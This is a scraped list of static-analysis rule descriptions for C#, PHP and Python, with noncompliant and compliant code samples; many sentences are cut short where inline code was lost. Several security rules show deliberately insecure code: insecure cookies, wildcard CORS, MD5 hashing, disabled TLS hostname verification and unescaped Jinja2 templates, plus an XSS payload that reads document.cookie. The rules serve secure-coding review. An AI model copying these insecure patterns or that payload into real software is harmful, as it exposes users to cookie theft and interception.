||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1144 |
Noncompliant Code Examplepublic class Foo { private void UnusedPrivateMethod() {...} // Noncompliant private class UnusedClass {...} // Noncompliant } Compliant Solutionpublic class Foo { public Foo() { UsedPrivateMethod(); } private void UsedPrivateMethod() { var c = new UsedClass(); } private class UsedClass {...} } ExceptionsThis rule doesn't raise issues on:
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2114 |
Passing a collection as an argument to the collection's own method is either an error - some other argument was intended - or simply nonsensical code. Further, because some methods require that the argument remain unmodified during the execution, passing a collection to itself can result in an unexpected behavior. Noncompliant Code Examplevar list = new List<int>(); list.AddRange(list); // Noncompliant list.Concat(list); // Noncompliant list.Union(list); // Noncompliant; always returns list list.Except(list); // Noncompliant; always empty list.Intersect(list); // Noncompliant; always list list.SequenceEqual(list); // Noncompliant; always true var set = new HashSet<int>(); set.UnionWith(set); // Noncompliant; no changes set.ExceptWith(set); // Noncompliant; always empty set.IntersectWith(set); // Noncompliant; no changes set.IsProperSubsetOf(set); // Noncompliant; always false set.IsProperSupersetOf(set); // Noncompliant; always false set.IsSubsetOf(set); // Noncompliant; always true set.IsSupersetOf(set); // Noncompliant; always true set.Overlaps(set); // Noncompliant; always true set.SetEquals(set); // Noncompliant; always true set.SymmetricExceptWith(set); // Noncompliant; always empty |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3445 |
When rethrowing an exception, you should do it by simply calling Noncompliant Code Exampletry {} catch(ExceptionType1 exc) { Console.WriteLine(exc); throw exc; // Noncompliant; stacktrace is reset } catch (ExceptionType2 exc) { throw new Exception("My custom message", exc); // Compliant; stack trace preserved } Compliant Solutiontry {} catch(ExceptionType1 exc) { Console.WriteLine(exc); throw; } catch (ExceptionType2 exc) { throw new Exception("My custom message", exc); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1145 |
There are three possible causes for the presence of such code:
In any of these cases, unconditional Noncompliant Code Exampleif (true) { DoSomething(); } ... if (false) { DoSomethingElse(); } Compliant SolutionDoSomething(); ... See
DeprecatedThis rule is deprecated; use S2583 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3444 |
When an interface inherits from two interfaces that both define a member with the same name, trying to access that member through the derived
interface will result in the compiler error So instead, every caller will be forced to cast instances of the derived interface to one or the other of its base interfaces to resolve the ambiguity and be able to access the member. Instead, it is better to resolve the ambiguity in the definition of the derived interface either by:
Noncompliant Code Examplepublic interface IBase1 { string SomeProperty { get; set; } } public interface IBase2 { string SomeProperty { get; set; } } public interface IDerived : IBase1, IBase2 // Noncompliant, accessing IDerived.SomeProperty is ambiguous { } public class MyClass : IDerived { // Implements both IBase1.SomeProperty and IBase2.SomeProperty public string SomeProperty { get; set; } = "Hello"; public static void Main() { MyClass myClass = new MyClass(); Console.WriteLine(myClass.SomeProperty); // Writes "Hello" as expected Console.WriteLine(((IBase1)myClass).SomeProperty); // Writes "Hello" as expected Console.WriteLine(((IBase2)myClass).SomeProperty); // Writes "Hello" as expected Console.WriteLine(((IDerived)myClass).SomeProperty); // Error CS0229 Ambiguity between 'IBase1.SomeProperty' and 'IBase2.SomeProperty' } } Compliant Solutionpublic interface IDerived : IBase1, IBase2 { new string SomeProperty { get; set; } } public class MyClass : IDerived { // Implements IBase1.SomeProperty, IBase2.SomeProperty and IDerived.SomeProperty public string SomeProperty { get; set; } = "Hello"; public static void Main() { MyClass myClass = new MyClass(); Console.WriteLine(myClass.SomeProperty); // Writes "Hello" as expected Console.WriteLine(((IBase1)myClass).SomeProperty); // Writes "Hello" as expected Console.WriteLine(((IBase2)myClass).SomeProperty); // Writes "Hello" as expected Console.WriteLine(((IDerived)myClass).SomeProperty); // Writes "Hello" as expected } } or public interface IBase1 { string SomePropertyOne { get; set; } } public interface IBase2 { string SomePropertyTwo { get; set; } } public interface IDerived : IBase1, IBase2 { } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2234 |
When the names of parameters in a method call match the names of the method arguments, it contributes to clearer, more readable code. However, when the names match, but are passed in a different order than the method arguments, it indicates a mistake in the parameter order which will likely lead to unexpected results. Noncompliant Code Examplepublic double Divide(int divisor, int dividend) { return divisor/dividend; } public void DoTheThing() { int divisor = 15; int dividend = 5; double result = Divide(dividend, divisor); // Noncompliant; operation succeeds, but result is unexpected //... } Compliant Solutionpublic double Divide(int divisor, int dividend) { return divisor/dividend; } public void DoTheThing() { int divisor = 15; int dividend = 5; double result = Divide(divisor, dividend); //... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2479 |
Non-encoded control characters and whitespace characters are often injected in the source code because of a bad manipulation. They are either
invisible or difficult to recognize, which can result in bugs when the string is not what the developer expects. If you actually need to use a control
character use their encoded version (ex: ASCII This rule raises an issue when the following characters are seen in a literal string:
No issue will be raised on the simple space character. Unicode Noncompliant Code Examplestring tabInside = "A B"; // Noncompliant, contains a tabulation string zeroWidthSpaceInside = "foobar"; // Noncompliant, it contains a U+200B character inside Console.WriteLine(zeroWidthSpaceInside); // Prints "foo?bar" Compliant Solutionstring tabInside = "A\tB"; // Compliant, uses escaped value string zeroWidthSpaceInside = "foo\u200Bbar"; // Compliant, uses escaped value Console.WriteLine(zeroWidthSpaceInside); // Prints "foo?bar" ExceptionsVerbatim string literals have no escape character mechanism. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1147 |
Calling Each of these methods should be used with extreme care, and only when the intent is to stop the whole application. Noncompliant Code ExampleEnvironment.Exit(0); Application.Exit(); ExceptionsThese methods are ignored inside |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3447 |
The use of Thus, making it Noncompliant Code Exampleclass MyClass { public void DoStuff([Optional] ref int i) // Noncompliant { Console.WriteLine(i); } public static void Main() { new MyClass().DoStuff(); // This doesn't compile, CS7036 shows } } Compliant Solutionclass MyClass { public void DoStuff(ref int i) { Console.WriteLine(i); } public static void Main() { var i = 42; new MyClass().DoStuff(ref i); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1940 |
It is needlessly complex to invert the result of a boolean comparison. The opposite comparison should be made instead. Noncompliant Code Exampleif ( !(a == 2)) { ...} // Noncompliant bool b = !(i < 10); // Noncompliant Compliant Solutionif (a != 2) { ...} bool b = (i >= 10); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2357 |
Fields should not be part of an API, and therefore should always be private. Indeed, they cannot be added to an interface for instance, and validation cannot be added later on without breaking backward compatibility. Instead, developers should encapsulate their fields into properties. Explicit property getters and setters can be introduced for validation purposes or to smooth the transition to a newer system. Noncompliant Code Examplepublic class Foo { public int MagicNumber = 42; } Compliant Solutionpublic class Foo { public int MagicNumber { get { return 42; } } } or public class Foo { private int MagicNumber = 42; } Exceptions
Further, an issue is only raised when the real accessibility is |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2228 |
Debug statements are always useful during development. But include them in production code - particularly in code that runs client-side - and you run the risk of inadvertently exposing sensitive information. Noncompliant Code Exampleprivate void DoSomething() { // ... Console.WriteLine("so far, so good..."); // Noncompliant // ... } ExceptionsThe following are ignored by this rule:
See
DeprecatedThis rule is deprecated; use S106 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2583 |
Conditional expressions which are always Noncompliant Code Examplepublic void Sample(bool b) { bool a = false; if (a) // Noncompliant { DoSomething(); // never executed } if (!a || b) // Noncompliant; "!a" is always "true", "b" is never evaluated { DoSomething(); } else { DoSomethingElse(); // never executed } var d = "xxx"; var res = d ?? "value"; // Noncompliant, d is always not null, "value" is never used } Compliant Solutionpublic void Sample(bool b) { bool a = false; if (Foo(a)) { DoSomething(); } if (b) { DoSomething(); } else { DoSomethingElse(); } var d = "xxx"; var res = d; } ExceptionsThis rule will not raise an issue in either of these cases:
const bool debug = false; //... if (debug) { // Print something }
In these cases it is obvious the code is as intended. See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2221 |
Catching Noncompliant Code Exampletry { // do something that might throw a FileNotFoundException or IOException } catch (Exception e) // Noncompliant { // log exception ... } Compliant Solutiontry { // do something } catch (Exception e) when (e is FileNotFoundException || e is IOException) { // do something } ExceptionsThe final option is to catch try { // do something } catch (Exception e) { if (e is FileNotFoundException || e is IOException) { // do something } else { throw; } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2342 |
Shared naming conventions allow teams to collaborate efficiently. This rule checks that all The default configuration is the one recommended by Microsoft:
Noncompliant Code ExampleWith the default regular expression for non-flags enums: public enum foo // Noncompliant { FooValue = 0 } With the default regular expression for flags enums: [Flags] public enum Option // Noncompliant { None = 0, Option1 = 1, Option2 = 2 } Compliant Solutionpublic enum Foo { FooValue = 0 } [Flags] public enum Options { None = 0, Option1 = 1, Option2 = 2 } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3431 |
It should be clear to a casual reader what code a test is testing and what results are expected. Unfortunately, that's not usually the case with
the This rule detects MSTest and NUnit Noncompliant Code Example[TestMethod] [ExpectedException(typeof(ArgumentNullException))] // Noncompliant public void TestNullArg() { //... } Compliant Solution[TestMethod] public void TestNullArg() { bool callFailed = false; try { //... } catch (ArgumentNullException) { callFailed = true; } Assert.IsTrue(callFailed, "Expected call to MyMethod to fail with ArgumentNullException"); } ExceptionsThis rule ignores one-line test methods, since it is obvious in such methods where the exception is expected to be thrown. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1134 |
Sometimes the developer will not have the time or will simply forget to get back to that tag. This rule is meant to track those tags and to ensure that they do not go unnoticed. Noncompliant Code Exampleprivate int Divide(int numerator, int denominator) { return numerator / denominator; // FIXME denominator value might be 0 } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4524 |
For readability purpose, to help a developer to quickly find the default behavior of a Noncompliant Code Exampleswitch (param) { case 0: DoSomething(); break; default: // default clause should be the first or last one Error(); break; case 1: DoSomethingElse(); break; } Compliant Solutionswitch (param) { case 0: DoSomething(); break; case 1: DoSomethingElse(); break; default: Error(); break; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2345 |
Flags enumerations should not rely on the language to initialize the values of their members. Implicit initialization will set the first member to 0, and increment the value by one for each subsequent member. This implicit behavior does not allow members to be combined using the bitwise or operator in a useful way. Instead, 0 and powers of two (i.e. 1, 2, 4, 8, 16, ...) should be used to explicitly initialize all the members. Noncompliant Code Example[Flags] enum FruitType // Noncompliant { None, Banana, Orange, Strawberry } class Program { static void Main() { var bananaAndStrawberry = FruitType.Banana | FruitType.Strawberry; // Will display only Strawberry! Console.WriteLine(bananaAndStrawberry.ToString()); } } Compliant Solution[Flags] enum FruitType { None = 0, Banana = 1, Orange = 2, Strawberry = 4 } class Program { static void Main() { var bananaAndStrawberry = FruitType.Banana | FruitType.Strawberry; // Will display Banana and Strawberry, as expected. Console.WriteLine(bananaAndStrawberry.ToString()); } } ExceptionsThe default initialization of 0, 1, 2, 3, 4, ... matches 0, 1, 2, 4, 8 ... in the first three values, so no issue is reported if the first three members of the enumeration is not initialized. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1135 |
Sometimes the developer will not have the time or will simply forget to get back to that tag. This rule is meant to track those tags and to ensure that they do not go unnoticed. Noncompliant Code Exampleprivate void DoSomething() { // TODO } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2344 |
The information that an enumeration type is actually an enumeration or a set of flags should not be duplicated in its name. Noncompliant Code Exampleenum FooFlags // Noncompliant { Foo = 1 Bar = 2 Baz = 4 } Compliant Solutionenum Foo { Foo = 1 Bar = 2 Baz = 4 } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2223 |
A Noncompliant Code Examplepublic class Math { public static double Pi = 3.14; // Noncompliant } or public class Shape { public static Shape Empty = new EmptyShape(); // Noncompliant private class EmptyShape : Shape { } } Compliant Solutionpublic class Math { public const double Pi = 3.14; } or public class Shape { public static readonly Shape Empty = new EmptyShape(); private class EmptyShape : Shape { } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3433 |
A method is detected as test method if marked with one of the following attributes Noncompliant Code Example[TestMethod] void TestNullArg() // Noncompliant; method is not public { /* ... */ } [TestMethod] public async void MyIgnoredTestMethod() // Noncompliant; this is an 'async void' method { /* ... */ } [TestMethod] public void MyIgnoredGenericTestMethod<T>(T foo) // Noncompliant; method has generics in its signature { /* ... */ } Compliant Solution[TestMethod] public void TestNullArg() { /* ... */ } ExceptionsAccessibility is ignored for xUnit
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2589 |
If a boolean expression doesn't change the evaluation of the condition, then it is entirely unnecessary, and can be removed. If it is gratuitous because it does not match the programmer's intent, then it's a bug and the expression should be fixed. Noncompliant Code Examplepublic void Sample(bool b, bool c, string s) { var a = true; if (a) // Noncompliant { DoSomething(); } if (b && a) // Noncompliant; "a" is always "true" { DoSomething(); } if (c || !a) // Noncompliant; "!a" is always "false" { DoSomething(); } string d = null; var v1 = d ?? "value"; // Noncompliant, d is always null var v2 = s ?? d; // Noncompliant, d is always null and the produced value is always equal to s. The condition to check the value of s is gratuitous. } Compliant Solutionpublic void Sample(bool b, bool c, string s) { var a = true; if (Foo(a)) { DoSomething(); } if (b) { DoSomething(); } if (c) { DoSomething(); } var v1 = "value"; var v2 = s; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2346 |
Consistent use of "None" in flags enumerations indicates that all flag values are cleared. The value 0 should not be used to indicate any other
state, since there is no way to check that the bit Noncompliant Code Example[Flags] enum FruitType { Void = 0, // Non-Compliant Banana = 1, Orange = 2, Strawberry = 4 } Compliant Solution[Flags] enum FruitType { None = 0, // Compliant Banana = 1, Orange = 2, Strawberry = 4 } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2225 |
Calling Noncompliant Code Examplepublic override string ToString () { if (this.collection.Count == 0) { return null; // Noncompliant } else { // ... } } Compliant Solutionpublic override string ToString () { if (this.collection.Count == 0) { return string.Empty; } else { // ... } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-php:InsufficientBranchCoverage |
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-php:InsufficientLineCoverage |
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-php:InsufficientCommentDensity |
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-php:DuplicatedBlocks |
An issue is created on a file as soon as there is at least one block of duplicated code on this file
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-php:SkippedUnitTests |
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-php:FailedUnitTests |
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S139 |
This rule verifies that single-line comments are not located at the ends of lines of code. The main idea behind this rule is that in order to be really readable, trailing comments would have to be properly written and formatted (correct alignment, no interference with the visual structure of the code, not too long to be visible) but most often, automatic code formatters would not handle this correctly: the code would end up less readable. Comments are far better placed on the previous empty line of code, where they will always be visible and properly formatted. Noncompliant Code Examplea = b + c # This is a trailing comment that can be very very long Compliant Solution# This very long comment is better placed before the line of code a = b + c |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S2092 |
When a cookie is protected with the Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code ExampleFlask from flask import Response @app.route('/') def index(): response = Response() response.set_cookie('key', 'value') # Sensitive return response Compliant SolutionFlask from flask import Response @app.route('/') def index(): response = Response() response.set_cookie('key', 'value', secure=True) # Compliant return response See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5122 |
Having a permissive Cross-Origin Resource Sharing policy is security-sensitive. It has led in the past to the following vulnerabilities: Same origin policy in browsers prevents, by default and for security-reasons, a javascript frontend to perform a cross-origin HTTP request to a resource that has a different origin (domain, protocol, or port) from its own. The requested target can append additional HTTP headers in response, called CORS, that act like directives for the browser and change the access control policy / relax the same origin policy. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code ExampleDjango CORS_ORIGIN_ALLOW_ALL = True # Sensitive Flask from flask import Flask from flask_cors import CORS app = Flask(__name__) CORS(app, resources={r"/*": {"origins": "*", "send_wildcard": "True"}}) # Sensitive Compliant SolutionDjango CORS_ORIGIN_ALLOW_ALL = False # Compliant Flask from flask import Flask from flask_cors import CORS app = Flask(__name__) CORS(app, resources={r"/*": {"origins": "*", "send_wildcard": "False"}}) # Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S4792 |
Configuring loggers is security-sensitive. It has led in the past to the following vulnerabilities: Logs are useful before, during and after a security incident.
Logs are also a target for attackers because they might contain sensitive information. Configuring loggers has an impact on the type of information logged and how they are logged. This rule flags for review code that initiates loggers configuration. The goal is to guide security code reviews. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Remember that configuring loggers properly doesn't make them bullet-proof. Here is a list of recommendations explaining on how to use your logs:
Sensitive Code Exampleimport logging from logging import Logger, Handler, Filter from logging.config import fileConfig, dictConfig logging.basicConfig() # Sensitive logging.disable() # Sensitive def update_logging(logger_class): logging.setLoggerClass(logger_class) # Sensitive def set_last_resort(last_resort): logging.lastResort = last_resort # Sensitive class CustomLogger(Logger): # Sensitive pass class CustomHandler(Handler): # Sensitive pass class CustomFilter(Filter): # Sensitive pass def update_config(path, config): fileConfig(path) # Sensitive dictConfig(config) # Sensitive See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S930 |
Calling a function or a method with fewer or more arguments than expected will raise a Noncompliant Code Example###################### # Positional Arguments ###################### param_args = [1, 2, 3] param_kwargs = {'x': 1, 'y': 2} def func(a, b=1): print(a, b) def positional_unlimited(a, b=1, *args): print(a, b, *args) func(1) func(1, 42) func(1, 2, 3) # Noncompliant. Too many positional arguments func() # Noncompliant. Missing positional argument for "a" positional_unlimited(1, 2, 3, 4, 5) def positional_limited(a, *, b=2): print(a, b) positional_limited(1, 2) # Noncompliant. Too many positional arguments ############################# # Unexpected Keyword argument ############################# def keywords(a=1, b=2, *, c=3): print(a, b, c) keywords(1) keywords(1, z=42) # Noncompliant. Unexpected keyword argument "z" def keywords_unlimited(a=1, b=2, *, c=3, **kwargs): print(a, b, kwargs) keywords_unlimited(a=1, b=2, z=42) ################################# # Mandatory Keyword argument only ################################# def mandatory_keyword(a, *, b): print(a, b) mandatory_keyword(1, b=2) mandatory_keyword(1) # Noncompliant. Missing keyword argument "b" See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S4790 |
Cryptographic hash algorithms such as Ask Yourself WhetherThe hashed value is used in a security context like:
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesSafer alternatives, such as Sensitive Code Exampleimport hashlib m = hashlib.md5() // Sensitive import hashlib m = hashlib.sha1() // Sensitive import md5 // Sensitive and deprecated since Python 2.5; use the hashlib module instead. m = md5.new() import sha // Sensitive and deprecated since Python 2.5; use the hashlib module instead. m = sha.new() Compliant Solutionimport hashlib m = hashlib.sha256() // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1721 |
Parentheses are not required after the Noncompliant Code Examplex = 1 while (x < 10): print "x is now %d" % (x) x += 1 Compliant Solutionx = 1 while x < 10: print "x is now %d" % (x) x += 1 |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1722 |
The new style of class creation, with the declaration of a parent class, created a unified object model in Python, so that the type of an
instantiated class is equal to its class. In Python 2.2-2.7, this is not the case for old-style classes. In Python 3+ all classes are new-style
classes. However, since the behavior can differ from 2.2+ to 3+, explicitly inheriting from Noncompliant Code Exampleclass MyClass(): pass Compliant Solutionclass MyClass(object): pass |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5527 |
To establish a SSL/TLS connection not vulnerable to man-in-the-middle attacks, it's essential to make sure the server presents the right certificate. The certificate's hostname-specific data should match the server hostname. It's not recommended to re-invent the wheel by implementing custom hostname verification. TLS/SSL libraries provide built-in hostname verification functions that should be used. Noncompliant Code ExamplePython ssl standard library: import ssl ctx = ssl._create_unverified_context() # Noncompliant: by default hostname verification is not done ctx = ssl._create_stdlib_context() # Noncompliant: by default hostname verification is not done ctx = ssl.create_default_context() ctx.check_hostname = False # Noncompliant ctx = ssl._create_default_https_context() ctx.check_hostname = False # Noncompliant Compliant SolutionPython ssl standard library: import ssl ctx = ssl._create_unverified_context() ctx.check_hostname = True # Compliant ctx = ssl._create_stdlib_context() ctx.check_hostname = True # Compliant ctx = ssl.create_default_context() # Compliant: by default hostname verification is enabled ctx = ssl._create_default_https_context() # Compliant: by default hostname verification is enabled See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S3626 |
Jump statements, such as Noncompliant Code Exampledef redundant_jump(x): if x == 1: print(True) return # NonCompliant Compliant Solutiondef redundant_jump(x): if x == 1: print(True) Exceptions
def my_function(x): if x > 5: do_something() elif x == 0: return # ok even it could be changed to "pass" else: do_something_else()
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1845 |
Looking at the set of methods and fields in a This situation may simply indicate poor naming. Method names should be action-oriented, and thus contain a verb, which is unlikely in the case where both a method and a field have the same name (with or without capitalization differences). However, renaming a public method could be disruptive to callers. Therefore renaming the member is the recommended action. Noncompliant Code Exampleclass SomeClass: lookUp = false def lookup(): # Non-compliant; method name differs from field name only by capitalization pass Compliant Solutionclass SomeClass: lookUp = false def getLookUp(): pass |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5806 |
Shadowing a builtin makes your code more difficult to read and maintain. It may also be a source of bugs as you can reference the builtin by mistake. It is sometimes ok to shadow a builtin to improve the readability of a public API or to support multiple versions of a library. In these cases the value is higher than the maintainability cost. Just be careful when you do it. It is not ok to shadow builtins with variables which are local to a function or method. These variables are not public and can be easily renamed, thus reducing the confusion and making the code less error-prone. This rule raises an issue when the name of a local variable matches the name of a builtin. Noncompliant Code Exampledef a_function(): int = 42 # Noncompliant; int is a builtin Compliant Solutiondef a_function(): value = 42 See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5807 |
Developers may define a list named Noncompliant Code Examplefrom mymodule import my_func __all__ = ["unknown_func"] # Noncompliant. "unknown_func" is undefined Compliant Solutionfrom mymodule import my_func __all__ = ["my_func"] See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5247 |
To reduce the risk of cross-site scripting attacks, templating systems, such as Auto-escaping is not a magic feature to annihilate all cross-site scripting attacks, it depends on the strategy applied and the context, for example a "_html auto-escaping_" strategy
(which only transforms html characters into html entities) will not be relevant
when variables are used in a html attribute because ' <a href="{{ myLink }}">link</a> // myLink = javascript:alert(document.cookie) <a href="javascript:alert(document.cookie)">link</a> // JS injection (XSS attack) Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Examplefrom jinja2 import Environment env = Environment() # Sensitive: New Jinja2 Environment has autoescape set to false env = Environment(autoescape=False) # Sensitive: Compliant Solutionfrom jinja2 import Environment env = Environment(autoescape=True) # Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S4433 |
An LDAP client authenticates to an LDAP server with a "bind request" which provides, among other, a simple authentication method. Simple authentication in LDAP can be used with three different mechanisms:
Anonymous binds and unauthenticated binds allow access to information in the LDAP directory without providing a password, their use is therefore strongly discouraged. Noncompliant Code Exampleimport ldap def init_ldap(): connect = ldap.initialize('ldap://example:1389') connect.simple_bind('cn=root') # Noncompliant connect.simple_bind_s('cn=root') # Noncompliant connect.bind_s('cn=root', None) # Noncompliant connect.bind('cn=root', None) # Noncompliant Compliant Solutionimport ldap import os def init_ldap(): connect = ldap.initialize('ldap://example:1389') connect.simple_bind('cn=root', os.environ.get('LDAP_PASSWORD')) # Compliant connect.simple_bind_s('cn=root', os.environ.get('LDAP_PASSWORD')) # Compliant connect.bind_s('cn=root', os.environ.get('LDAP_PASSWORD')) # Compliant connect.bind('cn=root', os.environ.get('LDAP_PASSWORD')) # Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S2772 |
The use of a Noncompliant Code Exampledef __init__(self, log="", who="", date=0, files=[]): self.log = log self.files = files self.who = who self.date = date pass # Noncompliant def lookup(): pass # Compliant; method can't be empty Compliant Solutiondef __init__(self, log="", who="", date=0, files=[]): self.log = log self.files = files self.who = who self.date = date def lookup(): pass |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1045 |
